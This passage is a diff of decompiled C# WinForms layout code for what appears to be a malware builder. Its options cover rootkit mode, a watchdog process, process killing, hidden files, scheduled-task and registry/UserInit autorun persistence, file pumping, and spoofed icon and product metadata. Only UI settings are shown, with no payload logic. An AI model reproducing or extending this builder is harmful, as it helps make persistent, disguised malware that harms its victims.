GraphicsUnit.Pixel); + this.TextBoxCompany.CustomButton.Image = (Image) null; + this.TextBoxCompany.CustomButton.Location = new Point(171, 1); + this.TextBoxCompany.CustomButton.Name = ""; + this.TextBoxCompany.CustomButton.Size = new Size(21, 21); + this.TextBoxCompany.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxCompany.CustomButton.TabIndex = 1; + this.TextBoxCompany.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxCompany.CustomButton.UseSelectable = true; + this.TextBoxCompany.CustomButton.Visible = false; + this.TextBoxCompany.Lines = new string[0]; + this.TextBoxCompany.Location = new Point(1148, 233); + this.TextBoxCompany.MaxLength = (int) short.MaxValue; + this.TextBoxCompany.Name = "TextBoxCompany"; + this.TextBoxCompany.PasswordChar = char.MinValue; + this.TextBoxCompany.ScrollBars = ScrollBars.None; + this.TextBoxCompany.SelectedText = ""; + this.TextBoxCompany.SelectionLength = 0; + this.TextBoxCompany.SelectionStart = 0; + this.TextBoxCompany.ShortcutsEnabled = true; + this.TextBoxCompany.Size = new Size(193, 23); + this.TextBoxCompany.Style = MetroColorStyle.Lime; + this.TextBoxCompany.TabIndex = 95; + this.TextBoxCompany.Theme = MetroThemeStyle.Dark; + this.TextBoxCompany.UseSelectable = true; + this.TextBoxCompany.UseStyleColors = true; + this.TextBoxCompany.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxCompany.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.TextBoxDescription.CustomButton.Image = (Image) null; + this.TextBoxDescription.CustomButton.Location = new Point(171, 1); + this.TextBoxDescription.CustomButton.Name = ""; + this.TextBoxDescription.CustomButton.Size = new Size(21, 21); + this.TextBoxDescription.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxDescription.CustomButton.TabIndex = 1; + this.TextBoxDescription.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxDescription.CustomButton.UseSelectable = true; + this.TextBoxDescription.CustomButton.Visible = false; + this.TextBoxDescription.Lines = new string[0]; + this.TextBoxDescription.Location = new Point(1148, 203); + this.TextBoxDescription.MaxLength = (int) short.MaxValue; + this.TextBoxDescription.Name = "TextBoxDescription"; + this.TextBoxDescription.PasswordChar = char.MinValue; + this.TextBoxDescription.ScrollBars = ScrollBars.None; + this.TextBoxDescription.SelectedText = ""; + this.TextBoxDescription.SelectionLength = 0; + this.TextBoxDescription.SelectionStart = 0; + this.TextBoxDescription.ShortcutsEnabled = true; + this.TextBoxDescription.Size = new Size(193, 23); + this.TextBoxDescription.Style = MetroColorStyle.Lime; + this.TextBoxDescription.TabIndex = 93; + this.TextBoxDescription.Theme = MetroThemeStyle.Dark; + this.TextBoxDescription.UseSelectable = true; + this.TextBoxDescription.UseStyleColors = true; + this.TextBoxDescription.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxDescription.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.TextBoxProduct.CustomButton.Image = (Image) null; + this.TextBoxProduct.CustomButton.Location = new Point(171, 1); + this.TextBoxProduct.CustomButton.Name = ""; + this.TextBoxProduct.CustomButton.Size = new Size(21, 21); + this.TextBoxProduct.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxProduct.CustomButton.TabIndex = 1; + this.TextBoxProduct.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxProduct.CustomButton.UseSelectable = true; + this.TextBoxProduct.CustomButton.Visible = false; + this.TextBoxProduct.Lines = new string[0]; + this.TextBoxProduct.Location = new Point(1148, 174); + this.TextBoxProduct.MaxLength = (int) short.MaxValue; + this.TextBoxProduct.Name = "TextBoxProduct"; + this.TextBoxProduct.PasswordChar = char.MinValue; + this.TextBoxProduct.ScrollBars = ScrollBars.None; + this.TextBoxProduct.SelectedText = ""; + this.TextBoxProduct.SelectionLength = 0; + this.TextBoxProduct.SelectionStart = 0; + this.TextBoxProduct.ShortcutsEnabled = true; + this.TextBoxProduct.Size = new Size(193, 23); + this.TextBoxProduct.Style = MetroColorStyle.Lime; + this.TextBoxProduct.TabIndex = 91; + this.TextBoxProduct.Theme = MetroThemeStyle.Dark; + this.TextBoxProduct.UseSelectable = true; + this.TextBoxProduct.UseStyleColors = true; + this.TextBoxProduct.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxProduct.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroLabel29.AutoSize = true; + this.metroLabel29.Location = new Point(324, 4); + this.metroLabel29.Name = "metroLabel29"; + this.metroLabel29.Size = new Size(65, 19); + this.metroLabel29.Style = MetroColorStyle.Lime; + this.metroLabel29.TabIndex = 90; + this.metroLabel29.Text = "Group ->"; + this.metroLabel29.Theme = MetroThemeStyle.Dark; + this.metroLabel29.UseStyleColors = true; + this.metroLabel28.AutoSize = true; + this.metroLabel28.Location = new Point(453, 55); + this.metroLabel28.Name = "metroLabel28"; + this.metroLabel28.Size = new Size(64 /*0x40*/, 19); + this.metroLabel28.Style = MetroColorStyle.Lime; + this.metroLabel28.TabIndex = 89; + this.metroLabel28.Text = "Mutex ->"; + this.metroLabel28.Theme = MetroThemeStyle.Dark; + this.metroLabel28.UseStyleColors = true; + this.TextBoxMutex.CustomButton.Image = (Image) null; + this.TextBoxMutex.CustomButton.Location = new Point(178, 1); + this.TextBoxMutex.CustomButton.Name = ""; + this.TextBoxMutex.CustomButton.Size = new Size(21, 21); + this.TextBoxMutex.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxMutex.CustomButton.TabIndex = 1; + this.TextBoxMutex.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxMutex.CustomButton.UseSelectable = true; + this.TextBoxMutex.CustomButton.Visible = false; + this.TextBoxMutex.Lines = new string[0]; + this.TextBoxMutex.Location = new Point(523, 55); + this.TextBoxMutex.MaxLength = (int) short.MaxValue; + this.TextBoxMutex.Name = "TextBoxMutex"; + this.TextBoxMutex.PasswordChar = char.MinValue; + this.TextBoxMutex.ScrollBars = ScrollBars.None; + this.TextBoxMutex.SelectedText = ""; + this.TextBoxMutex.SelectionLength = 0; + this.TextBoxMutex.SelectionStart = 0; + this.TextBoxMutex.ShortcutsEnabled = true; + this.TextBoxMutex.Size = new Size(200, 23); + this.TextBoxMutex.Style = MetroColorStyle.Lime; + this.TextBoxMutex.TabIndex = 88; + this.TextBoxMutex.Theme = MetroThemeStyle.Dark; + this.TextBoxMutex.UseSelectable = true; + this.TextBoxMutex.UseStyleColors = true; + this.TextBoxMutex.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxMutex.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.TextBoxMutex.Click += new EventHandler(this.TextBoxMutex_Click); + this.TextBoxGroup.CustomButton.Image = (Image) null; + this.TextBoxGroup.CustomButton.Location = new Point(178, 1); + this.TextBoxGroup.CustomButton.Name = ""; + this.TextBoxGroup.CustomButton.Size = new Size(21, 21); + this.TextBoxGroup.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxGroup.CustomButton.TabIndex = 1; + this.TextBoxGroup.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxGroup.CustomButton.UseSelectable = true; + this.TextBoxGroup.CustomButton.Visible = false; + this.TextBoxGroup.Lines = new string[1]{ "Default" }; + this.TextBoxGroup.Location = new Point(394, 4); + this.TextBoxGroup.MaxLength = (int) short.MaxValue; + this.TextBoxGroup.Name = "TextBoxGroup"; + this.TextBoxGroup.PasswordChar = char.MinValue; + this.TextBoxGroup.ScrollBars = ScrollBars.None; + this.TextBoxGroup.SelectedText = ""; + this.TextBoxGroup.SelectionLength = 0; + this.TextBoxGroup.SelectionStart = 0; + this.TextBoxGroup.ShortcutsEnabled = true; + this.TextBoxGroup.Size = new Size(200, 23); + this.TextBoxGroup.Style = MetroColorStyle.Lime; + this.TextBoxGroup.TabIndex = 87; + this.TextBoxGroup.Text = "Default"; + this.TextBoxGroup.Theme = MetroThemeStyle.Dark; + this.TextBoxGroup.UseSelectable = true; + this.TextBoxGroup.UseStyleColors = true; + this.TextBoxGroup.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxGroup.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.ButtonSelectIco.Location = new Point(1046, (int) sbyte.MaxValue); + this.ButtonSelectIco.Name = "ButtonSelectIco"; + this.ButtonSelectIco.Size = new Size(79, 23); + this.ButtonSelectIco.Style = MetroColorStyle.Lime; + this.ButtonSelectIco.TabIndex = 58; + this.ButtonSelectIco.Text = "Select Ico"; + this.ButtonSelectIco.Theme = MetroThemeStyle.Dark; + this.ButtonSelectIco.UseSelectable = true; + this.ButtonSelectIco.UseStyleColors = true; + this.ButtonSelectIco.Click += new EventHandler(this.ButtonSelectIco_Click); + this.pictureBoxIco.BackColor = Color.FromArgb(17, 17, 17); + this.pictureBoxIco.Location = new Point(976, 12); + this.pictureBoxIco.Name = "pictureBoxIco"; + this.pictureBoxIco.Size = new Size(149, 109); + this.pictureBoxIco.SizeMode = PictureBoxSizeMode.StretchImage; + this.pictureBoxIco.TabIndex = 57; + this.pictureBoxIco.TabStop = false; + this.panel1.BackColor = Color.FromArgb(17, 17, 17); + this.panel1.Controls.Add((Control) this.CheckBoxRootKitMode); + this.panel1.Controls.Add((Control) this.metroLabel27); + this.panel1.Controls.Add((Control) this.metroLabel26); + this.panel1.Controls.Add((Control) this.TextBoxPathWatchDog); + this.panel1.Controls.Add((Control) this.ComboBoxPathWatchDog); + this.panel1.Controls.Add((Control) this.TextBoxPathClient); + this.panel1.Controls.Add((Control) this.ComboBoxPathClient); + this.panel1.Controls.Add((Control) this.panel2); + this.panel1.Controls.Add((Control) this.CheckBoxAntiProcess); + this.panel1.Controls.Add((Control) this.CheckBoxPumper); + this.panel1.Controls.Add((Control) this.CheckBoxHideFolder); + this.panel1.Controls.Add((Control) this.CheckBoxHideFile); + this.panel1.Controls.Add((Control) this.CheckBoxWatchDog); + this.panel1.Controls.Add((Control) this.TextBoxTaskForWatchDog); + this.panel1.Controls.Add((Control) this.TextBoxTaskForClient); + this.panel1.Controls.Add((Control) this.CheckBoxTaskWatchDog); + this.panel1.Controls.Add((Control) this.CheckBoxTaskClient); + this.panel1.Controls.Add((Control) this.TextBoxHKCUNAME); + this.panel1.Controls.Add((Control) this.CheckBoxHKCU); + this.panel1.Controls.Add((Control) this.CheckBoxUserInit); + this.panel1.Location = new Point(209, 82); + this.panel1.Name = "panel1"; + this.panel1.Size = new Size(647, 351); + this.panel1.TabIndex = 56; + this.panel1.Visible = false; + this.CheckBoxRootKitMode.AutoSize = true; + this.CheckBoxRootKitMode.Location = new Point(409, 242); + this.CheckBoxRootKitMode.Name = "CheckBoxRootKitMode"; + this.CheckBoxRootKitMode.Size = new Size(135, 15); + this.CheckBoxRootKitMode.Style = MetroColorStyle.Lime; + this.CheckBoxRootKitMode.TabIndex = 85; + this.CheckBoxRootKitMode.Text = "RootKit (Prefix xdwd)"; + this.CheckBoxRootKitMode.Theme = MetroThemeStyle.Dark; + this.CheckBoxRootKitMode.UseSelectable = true; + this.CheckBoxRootKitMode.UseStyleColors = true; + this.metroLabel27.AutoSize = true; + this.metroLabel27.Location = new Point(294, 128 /*0x80*/); + this.metroLabel27.Name = "metroLabel27"; + this.metroLabel27.Size = new Size(99, 19); + this.metroLabel27.Style = MetroColorStyle.Lime; + this.metroLabel27.TabIndex = 84; + this.metroLabel27.Text = "Path WatchDog"; + this.metroLabel27.Theme = MetroThemeStyle.Dark; + this.metroLabel27.UseStyleColors = true; + this.metroLabel27.Visible = false; + this.metroLabel26.AutoSize = true; + this.metroLabel26.Location = new Point(10, 131); + this.metroLabel26.Name = "metroLabel26"; + this.metroLabel26.Size = new Size(71, 19); + this.metroLabel26.Style = MetroColorStyle.Lime; + this.metroLabel26.TabIndex = 83; + this.metroLabel26.Text = "Path Client"; + this.metroLabel26.Theme = MetroThemeStyle.Dark; + this.metroLabel26.UseStyleColors = true; + this.TextBoxPathWatchDog.CustomButton.Image = (Image) null; + this.TextBoxPathWatchDog.CustomButton.Location = new Point(158, 1); + this.TextBoxPathWatchDog.CustomButton.Name = ""; + this.TextBoxPathWatchDog.CustomButton.Size = new Size(21, 21); + this.TextBoxPathWatchDog.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxPathWatchDog.CustomButton.TabIndex = 1; + this.TextBoxPathWatchDog.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxPathWatchDog.CustomButton.UseSelectable = true; + this.TextBoxPathWatchDog.CustomButton.Visible = false; + this.TextBoxPathWatchDog.Lines = new string[1] + { + "Sub\\WatchDog.exe" + }; + this.TextBoxPathWatchDog.Location = new Point(294, 184); + this.TextBoxPathWatchDog.MaxLength = (int) short.MaxValue; + this.TextBoxPathWatchDog.Name = "TextBoxPathWatchDog"; + this.TextBoxPathWatchDog.PasswordChar = char.MinValue; + this.TextBoxPathWatchDog.ScrollBars = ScrollBars.None; + this.TextBoxPathWatchDog.SelectedText = ""; + this.TextBoxPathWatchDog.SelectionLength = 0; + this.TextBoxPathWatchDog.SelectionStart = 0; + this.TextBoxPathWatchDog.ShortcutsEnabled = true; + this.TextBoxPathWatchDog.Size = new Size(180, 23); + this.TextBoxPathWatchDog.Style = MetroColorStyle.Lime; + this.TextBoxPathWatchDog.TabIndex = 82; + this.TextBoxPathWatchDog.Text = "Sub\\WatchDog.exe"; + this.TextBoxPathWatchDog.Theme = MetroThemeStyle.Dark; + this.TextBoxPathWatchDog.UseSelectable = true; + this.TextBoxPathWatchDog.UseStyleColors = true; + this.TextBoxPathWatchDog.Visible = false; + this.TextBoxPathWatchDog.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxPathWatchDog.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.ComboBoxPathWatchDog.FontSize = MetroComboBoxSize.Small; + this.ComboBoxPathWatchDog.FormattingEnabled = true; + this.ComboBoxPathWatchDog.ItemHeight = 19; + this.ComboBoxPathWatchDog.Items.AddRange(new object[12] + { + (object) "%ApplicationData%", + (object) "%Windows%", + (object) "%UserProfile%", + (object) "%ProgramFiles%", + (object) "%Templates%", + (object) "%LocalApplicationData%", + (object) "%CommonDocuments%", + (object) "%MyDocuments%", + (object) "%MyMusic%", + (object) "%MyVideos%", + (object) "%Cookies%", + (object) "%CommonPictures%" + }); + this.ComboBoxPathWatchDog.Location = new Point(294, 153); + this.ComboBoxPathWatchDog.Name = "ComboBoxPathWatchDog"; + this.ComboBoxPathWatchDog.Size = new Size(180, 25); + this.ComboBoxPathWatchDog.Style = MetroColorStyle.Lime; + this.ComboBoxPathWatchDog.TabIndex = 80 /*0x50*/; + this.ComboBoxPathWatchDog.Theme = MetroThemeStyle.Dark; + this.ComboBoxPathWatchDog.UseSelectable = true; + this.ComboBoxPathWatchDog.UseStyleColors = true; + this.ComboBoxPathWatchDog.Visible = false; + this.TextBoxPathClient.CustomButton.Image = (Image) null; + this.TextBoxPathClient.CustomButton.Location = new Point(161, 1); + this.TextBoxPathClient.CustomButton.Name = ""; + this.TextBoxPathClient.CustomButton.Size = new Size(21, 21); + this.TextBoxPathClient.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxPathClient.CustomButton.TabIndex = 1; + this.TextBoxPathClient.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxPathClient.CustomButton.UseSelectable = true; + this.TextBoxPathClient.CustomButton.Visible = false; + this.TextBoxPathClient.Lines = new string[1] + { + "Sub\\Client.exe" + }; + this.TextBoxPathClient.Location = new Point(10, 184); + this.TextBoxPathClient.MaxLength = (int) short.MaxValue; + this.TextBoxPathClient.Name = "TextBoxPathClient"; + this.TextBoxPathClient.PasswordChar = char.MinValue; + this.TextBoxPathClient.ScrollBars = ScrollBars.None; + this.TextBoxPathClient.SelectedText = ""; + this.TextBoxPathClient.SelectionLength = 0; + this.TextBoxPathClient.SelectionStart = 0; + this.TextBoxPathClient.ShortcutsEnabled = true; + this.TextBoxPathClient.Size = new Size(183, 23); + this.TextBoxPathClient.Style = MetroColorStyle.Lime; + this.TextBoxPathClient.TabIndex = 79; + this.TextBoxPathClient.Text = "Sub\\Client.exe"; + this.TextBoxPathClient.Theme = MetroThemeStyle.Dark; + this.TextBoxPathClient.UseSelectable = true; + this.TextBoxPathClient.UseStyleColors = true; + this.TextBoxPathClient.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxPathClient.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.ComboBoxPathClient.FontSize = MetroComboBoxSize.Small; + this.ComboBoxPathClient.FormattingEnabled = true; + this.ComboBoxPathClient.ItemHeight = 19; + this.ComboBoxPathClient.Items.AddRange(new object[12] + { + (object) "%ApplicationData%", + (object) "%Windows%", + (object) "%UserProfile%", + (object) "%ProgramFiles%", + (object) "%Templates%", + (object) "%LocalApplicationData%", + (object) "%CommonDocuments%", + (object) "%MyDocuments%", + (object) "%MyMusic%", + (object) "%MyVideos%", + (object) "%Cookies%", + (object) "%CommonPictures%" + }); + this.ComboBoxPathClient.Location = new Point(10, 153); + this.ComboBoxPathClient.Name = "ComboBoxPathClient"; + this.ComboBoxPathClient.Size = new Size(183, 25); + this.ComboBoxPathClient.Style = MetroColorStyle.Lime; + this.ComboBoxPathClient.TabIndex = 77; + this.ComboBoxPathClient.Theme = MetroThemeStyle.Dark; + this.ComboBoxPathClient.UseSelectable = true; + this.ComboBoxPathClient.UseStyleColors = true; + this.panel2.Controls.Add((Control) this.RadioButtonKillAntiProcess); + this.panel2.Controls.Add((Control) this.RadioButtonExitAntiProcess); + this.panel2.Location = new Point(103, 238); + this.panel2.Name = "panel2"; + this.panel2.Size = new Size(80 /*0x50*/, 51); + this.panel2.TabIndex = 73; + this.panel2.Visible = false; + this.RadioButtonKillAntiProcess.AutoSize = true; + this.RadioButtonKillAntiProcess.Location = new Point(3, 24); + this.RadioButtonKillAntiProcess.Name = "RadioButtonKillAntiProcess"; + this.RadioButtonKillAntiProcess.Size = new Size(39, 15); + this.RadioButtonKillAntiProcess.Style = MetroColorStyle.Lime; + this.RadioButtonKillAntiProcess.TabIndex = 1; + this.RadioButtonKillAntiProcess.Text = "Kill"; + this.RadioButtonKillAntiProcess.Theme = MetroThemeStyle.Dark; + this.RadioButtonKillAntiProcess.UseSelectable = true; + this.RadioButtonKillAntiProcess.UseStyleColors = true; + this.RadioButtonExitAntiProcess.AutoSize = true; + this.RadioButtonExitAntiProcess.Checked = true; + this.RadioButtonExitAntiProcess.Location = new Point(3, 3); + this.RadioButtonExitAntiProcess.Name = "RadioButtonExitAntiProcess"; + this.RadioButtonExitAntiProcess.Size = new Size(42, 15); + this.RadioButtonExitAntiProcess.Style = MetroColorStyle.Lime; + this.RadioButtonExitAntiProcess.TabIndex = 0; + this.RadioButtonExitAntiProcess.TabStop = true; + this.RadioButtonExitAntiProcess.Text = "Exit"; + this.RadioButtonExitAntiProcess.Theme = MetroThemeStyle.Dark; + this.RadioButtonExitAntiProcess.UseSelectable = true; + this.RadioButtonExitAntiProcess.UseStyleColors = true; + this.CheckBoxAntiProcess.AutoSize = true; + this.CheckBoxAntiProcess.Location = new Point(9, 238); + this.CheckBoxAntiProcess.Name = "CheckBoxAntiProcess"; + this.CheckBoxAntiProcess.Size = new Size(88, 15); + this.CheckBoxAntiProcess.Style = MetroColorStyle.Lime; + this.CheckBoxAntiProcess.TabIndex = 72; + this.CheckBoxAntiProcess.Text = "Anti Process"; + this.CheckBoxAntiProcess.Theme = MetroThemeStyle.Dark; + this.CheckBoxAntiProcess.UseSelectable = true; + this.CheckBoxAntiProcess.UseStyleColors = true; + this.CheckBoxAntiProcess.CheckedChanged += new EventHandler(this.CheckBoxAntiProcess_CheckedChanged); + this.CheckBoxPumper.AutoSize = true; + this.CheckBoxPumper.Location = new Point(294, 262); + this.CheckBoxPumper.Name = "CheckBoxPumper"; + this.CheckBoxPumper.Size = new Size(65, 15); + this.CheckBoxPumper.Style = MetroColorStyle.Lime; + this.CheckBoxPumper.TabIndex = 71; + this.CheckBoxPumper.Text = "Pumper"; + this.CheckBoxPumper.Theme = MetroThemeStyle.Dark; + this.CheckBoxPumper.UseSelectable = true; + this.CheckBoxPumper.UseStyleColors = true; + this.CheckBoxHideFolder.AutoSize = true; + this.CheckBoxHideFolder.Location = new Point(294, 242); + this.CheckBoxHideFolder.Name = "CheckBoxHideFolder"; + this.CheckBoxHideFolder.Size = new Size(84, 15); + this.CheckBoxHideFolder.Style = MetroColorStyle.Lime; + this.CheckBoxHideFolder.TabIndex = 70; + this.CheckBoxHideFolder.Text = "Hide Folder"; + this.CheckBoxHideFolder.Theme = MetroThemeStyle.Dark; + this.CheckBoxHideFolder.UseSelectable = true; + this.CheckBoxHideFolder.UseStyleColors = true; + this.CheckBoxHideFile.AutoSize = true; + this.CheckBoxHideFile.Location = new Point(185, 263); + this.CheckBoxHideFile.Name = "CheckBoxHideFile"; + this.CheckBoxHideFile.Size = new Size(69, 15); + this.CheckBoxHideFile.Style = MetroColorStyle.Lime; + this.CheckBoxHideFile.TabIndex = 69; + this.CheckBoxHideFile.Text = "Hide File"; + this.CheckBoxHideFile.Theme = MetroThemeStyle.Dark; + this.CheckBoxHideFile.UseSelectable = true; + this.CheckBoxHideFile.UseStyleColors = true; + this.CheckBoxWatchDog.AutoSize = true; + this.CheckBoxWatchDog.Location = new Point(185, 242); + this.CheckBoxWatchDog.Name = "CheckBoxWatchDog"; + this.CheckBoxWatchDog.Size = new Size(103, 15); + this.CheckBoxWatchDog.Style = MetroColorStyle.Lime; + this.CheckBoxWatchDog.TabIndex = 57; + this.CheckBoxWatchDog.Text = "Watch Dog File"; + this.CheckBoxWatchDog.Theme = MetroThemeStyle.Dark; + this.CheckBoxWatchDog.UseSelectable = true; + this.CheckBoxWatchDog.UseStyleColors = true; + this.CheckBoxWatchDog.CheckedChanged += new EventHandler(this.CheckBoxWatchDog_CheckedChanged); + this.TextBoxTaskForWatchDog.CustomButton.Image = (Image) null; + this.TextBoxTaskForWatchDog.CustomButton.Location = new Point(178, 1); + this.TextBoxTaskForWatchDog.CustomButton.Name = ""; + this.TextBoxTaskForWatchDog.CustomButton.Size = new Size(21, 21); + this.TextBoxTaskForWatchDog.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxTaskForWatchDog.CustomButton.TabIndex = 1; + this.TextBoxTaskForWatchDog.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxTaskForWatchDog.CustomButton.UseSelectable = true; + this.TextBoxTaskForWatchDog.CustomButton.Visible = false; + this.TextBoxTaskForWatchDog.Lines = new string[0]; + this.TextBoxTaskForWatchDog.Location = new Point(314, 102); + this.TextBoxTaskForWatchDog.MaxLength = (int) short.MaxValue; + this.TextBoxTaskForWatchDog.Name = "TextBoxTaskForWatchDog"; + this.TextBoxTaskForWatchDog.PasswordChar = char.MinValue; + this.TextBoxTaskForWatchDog.ScrollBars = ScrollBars.None; + this.TextBoxTaskForWatchDog.SelectedText = ""; + this.TextBoxTaskForWatchDog.SelectionLength = 0; + this.TextBoxTaskForWatchDog.SelectionStart = 0; + this.TextBoxTaskForWatchDog.ShortcutsEnabled = true; + this.TextBoxTaskForWatchDog.Size = new Size(200, 23); + this.TextBoxTaskForWatchDog.Style = MetroColorStyle.Lime; + this.TextBoxTaskForWatchDog.TabIndex = 68; + this.TextBoxTaskForWatchDog.Theme = MetroThemeStyle.Dark; + this.TextBoxTaskForWatchDog.UseSelectable = true; + this.TextBoxTaskForWatchDog.UseStyleColors = true; + this.TextBoxTaskForWatchDog.Visible = false; + this.TextBoxTaskForWatchDog.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxTaskForWatchDog.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.TextBoxTaskForClient.CustomButton.Image = (Image) null; + this.TextBoxTaskForClient.CustomButton.Location = new Point(178, 1); + this.TextBoxTaskForClient.CustomButton.Name = ""; + this.TextBoxTaskForClient.CustomButton.Size = new Size(21, 21); + this.TextBoxTaskForClient.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxTaskForClient.CustomButton.TabIndex = 1; + this.TextBoxTaskForClient.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxTaskForClient.CustomButton.UseSelectable = true; + this.TextBoxTaskForClient.CustomButton.Visible = false; + this.TextBoxTaskForClient.Lines = new string[0]; + this.TextBoxTaskForClient.Location = new Point(314, 73); + this.TextBoxTaskForClient.MaxLength = (int) short.MaxValue; + this.TextBoxTaskForClient.Name = "TextBoxTaskForClient"; + this.TextBoxTaskForClient.PasswordChar = char.MinValue; + this.TextBoxTaskForClient.ScrollBars = ScrollBars.None; + this.TextBoxTaskForClient.SelectedText = ""; + this.TextBoxTaskForClient.SelectionLength = 0; + this.TextBoxTaskForClient.SelectionStart = 0; + this.TextBoxTaskForClient.ShortcutsEnabled = true; + this.TextBoxTaskForClient.Size = new Size(200, 23); + this.TextBoxTaskForClient.Style = MetroColorStyle.Lime; + this.TextBoxTaskForClient.TabIndex = 67; + this.TextBoxTaskForClient.Theme = MetroThemeStyle.Dark; + this.TextBoxTaskForClient.UseSelectable = true; + this.TextBoxTaskForClient.UseStyleColors = true; + this.TextBoxTaskForClient.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxTaskForClient.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.CheckBoxTaskWatchDog.AutoSize = true; + this.CheckBoxTaskWatchDog.Location = new Point(10, 108); + this.CheckBoxTaskWatchDog.Name = "CheckBoxTaskWatchDog"; + this.CheckBoxTaskWatchDog.Size = new Size(289, 15); + this.CheckBoxTaskWatchDog.Style = MetroColorStyle.Lime; + this.CheckBoxTaskWatchDog.TabIndex = 66; + this.CheckBoxTaskWatchDog.Text = "Task to start every 5 minutes WatchDog (Name) ->"; + this.CheckBoxTaskWatchDog.Theme = MetroThemeStyle.Dark; + this.CheckBoxTaskWatchDog.UseSelectable = true; + this.CheckBoxTaskWatchDog.UseStyleColors = true; + this.CheckBoxTaskWatchDog.Visible = false; + this.CheckBoxTaskClient.AutoSize = true; + this.CheckBoxTaskClient.Location = new Point(10, 81); + this.CheckBoxTaskClient.Name = "CheckBoxTaskClient"; + this.CheckBoxTaskClient.Size = new Size(287, 15); + this.CheckBoxTaskClient.Style = MetroColorStyle.Lime; + this.CheckBoxTaskClient.TabIndex = 65; + this.CheckBoxTaskClient.Text = "Task to start every 1 minutes (Name) ->"; + this.CheckBoxTaskClient.Theme = MetroThemeStyle.Dark; + this.CheckBoxTaskClient.UseSelectable = true; + this.CheckBoxTaskClient.UseStyleColors = true; + this.TextBoxHKCUNAME.CustomButton.Image = (Image) null; + this.TextBoxHKCUNAME.CustomButton.Location = new Point(178, 1); + this.TextBoxHKCUNAME.CustomButton.Name = ""; + this.TextBoxHKCUNAME.CustomButton.Size = new Size(21, 21); + this.TextBoxHKCUNAME.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxHKCUNAME.CustomButton.TabIndex = 1; + this.TextBoxHKCUNAME.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxHKCUNAME.CustomButton.UseSelectable = true; + this.TextBoxHKCUNAME.CustomButton.Visible = false; + this.TextBoxHKCUNAME.Lines = new string[0]; + this.TextBoxHKCUNAME.Location = new Point(274, 20); + this.TextBoxHKCUNAME.MaxLength = (int) short.MaxValue; + this.TextBoxHKCUNAME.Name = "TextBoxHKCUNAME"; + this.TextBoxHKCUNAME.PasswordChar = char.MinValue; + this.TextBoxHKCUNAME.ScrollBars = ScrollBars.None; + this.TextBoxHKCUNAME.SelectedText = ""; + this.TextBoxHKCUNAME.SelectionLength = 0; + this.TextBoxHKCUNAME.SelectionStart = 0; + this.TextBoxHKCUNAME.ShortcutsEnabled = true; + this.TextBoxHKCUNAME.Size = new Size(200, 23); + this.TextBoxHKCUNAME.Style = MetroColorStyle.Lime; + this.TextBoxHKCUNAME.TabIndex = 63 /*0x3F*/; + this.TextBoxHKCUNAME.Theme = MetroThemeStyle.Dark; + this.TextBoxHKCUNAME.UseSelectable = true; + this.TextBoxHKCUNAME.UseStyleColors = true; + this.TextBoxHKCUNAME.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxHKCUNAME.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.CheckBoxHKCU.AutoSize = true; + this.CheckBoxHKCU.Location = new Point(9, 28); + this.CheckBoxHKCU.Name = "CheckBoxHKCU"; + this.CheckBoxHKCU.Size = new Size(254, 15); + this.CheckBoxHKCU.Style = MetroColorStyle.Lime; + this.CheckBoxHKCU.TabIndex = 59; + this.CheckBoxHKCU.Text = "Registry HKCU (Name) ->"; + this.CheckBoxHKCU.Theme = MetroThemeStyle.Dark; + this.CheckBoxHKCU.UseSelectable = true; + this.CheckBoxHKCU.UseStyleColors = true; + this.CheckBoxUserInit.AutoSize = true; + this.CheckBoxUserInit.Location = new Point(9, 53); + this.CheckBoxUserInit.Name = "CheckBoxUserInit"; + this.CheckBoxUserInit.Size = new Size(166, 15); + this.CheckBoxUserInit.Style = MetroColorStyle.Lime; + this.CheckBoxUserInit.TabIndex = 57; + this.CheckBoxUserInit.Text = "User Init Auto Run (Admin)"; + this.CheckBoxUserInit.Theme = MetroThemeStyle.Dark; + this.CheckBoxUserInit.UseSelectable = true; + this.CheckBoxUserInit.UseStyleColors = true; + 